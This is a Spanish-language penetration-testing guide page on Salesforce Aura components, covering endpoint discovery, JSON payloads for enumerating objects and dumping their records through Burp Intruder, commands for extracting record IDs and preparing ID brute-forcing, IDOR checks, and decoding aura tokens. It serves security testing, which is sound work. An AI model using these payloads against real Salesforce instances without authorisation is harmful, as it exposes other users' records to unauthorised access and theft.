Salesforce
Reconocimiento
Si la aplicación hace uso de componentes Aura, se pueden explotar potenciales vulnerabilidades asociadas al uso de esta tecnología.
Rutas comunes:
/s/sfsites/aura
/aura
/sfsites/aura
/sales/aura
Cadenas comunes. En caso de que no se cuente con esas rutas, se puede intentar identificar si se usa Aura consultando las rutas visibles desde la aplicación y buscando, por ejemplo, las siguientes cadenas comunes de Aura:
"actions":[
aura:clientOutOfSync
aura:invalidSession
aura.context
aura.token
La presencia de estos elementos sugiere que la aplicación utiliza el framework Aura.
Enumeración de objetos
Los objetos pueden ser enumerados modificando el parámetro message
por el siguiente payload:
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}
En este caso, no es necesario codificar (URL encoding) el payload en el parámetro message
para enviarlo en la petición.
Se pueden extraer los objetos personalizados debido a que la cadena termina con __c
, por lo que, usando el siguiente comando, se puede obtener la lista de objetos:
cat objects_response.json | grep "__c\"" | cut -d "\"" -f2
La lista completa de objetos en salesforce se puede consultar en:
https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm
Si se quiere obtener la lista actualizada de objetos de salesforce, puedes usar tu IA de confianza para extraer la información con el siguiente prompt:
Necesito una lista completa de todos los objetos que se encuentran en la siguiente URL para usarlo en intruder, de Burp Suite. Necesito que sea en formato TXT: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm
Esto dará una lista como la siguiente:
Case
Account
Address
Activity
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Campaign
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Task
Name
EmailTemplate
EmailMessageRelation
...
Enumeración de registros de objetos
Con intruder (Burp Suite) es posible automatizar la obtención de información de cada uno de los objetos.
Se copia la lista en la sección de "Payloads" de intruder, seleccionando la opción de "Simple list", y se modifica el parámetro message
de la petición de la siguiente forma:
{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§object§","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}
Ejemplo de json de la respuesta:
{
"actions": [
{
"id": "123;a",
"state": "SUCCESS",
"returnValue": {
"result": [
{
"record": {
"Id": "0015g00000A7T3AAK",
"Origin": "test",
"LastModifiedDate": "2024-06-19T08:17:57.000Z",
"Account": null
}
},
{
"record": {
"Id": "0015g00000B5T7BBL",
"Origin": "email",
"LastModifiedDate": "2024-06-20T10:30:00.000Z",
"Account": "123456"
}
}
]
}
}
]
}
Si se copia el json de la respuesta, es posible filtrar con jd
el resultado obtenido. Por ejemplo:
Obtención de identificadores de registros:
jq -r '.actions[0].returnValue.result[].record.Id' data.json
Si se quiere identificar cuáles son los caracteres que varían en los identificadores para posteriormente realizar un ataque de fuerza bruta para obtener identificadores no conocidos, se puede usar el siguiente comando:
awk 'NR==1{for(i=1;i<=length($0);i++) c[i]=substr($0,i,1)}
NR>1{for(i=1;i<=length($0);i++) if(c[i]!=substr($0,i,1)) c[i]="?"}
END{print; for(i=1;i<=length($0);i++) printf "%s", c[i]; print ""}' ids.txt
Ejemplo de salida:
4007N01000?????SA?
Además, los identificadores tienen un patrón propio de Salesforce que indica el tipo de objeto:
https://help.salesforce.com/s/articleView?id=000385203&type=1
Vulnerabilidades
Insecure Direct Object Reference
Acceso a información de objetos no autorizados, por ejemplo:
Intentar cambiar el
recordId
por otro válido. Ejemplo:recordId: "0015g00000A7T3AAK"
→ Usuario ArecordId: "0015g00000B5T7BBL"
→ Usuario B
Aunque se pueda acceder, hay que verificar que realmente sea información que no deba estar accesible para el usuario.
Exposición de información sensible (leaks)
Los parámetros aura.context
(base64) y aura.token
(jwt) están codificados en urlencode y base64, por lo que, se puede decodificar el contenido de los mismos y buscar información sensible que pueda estar expuesta.
Referencias
Última actualización
¿Te fue útil?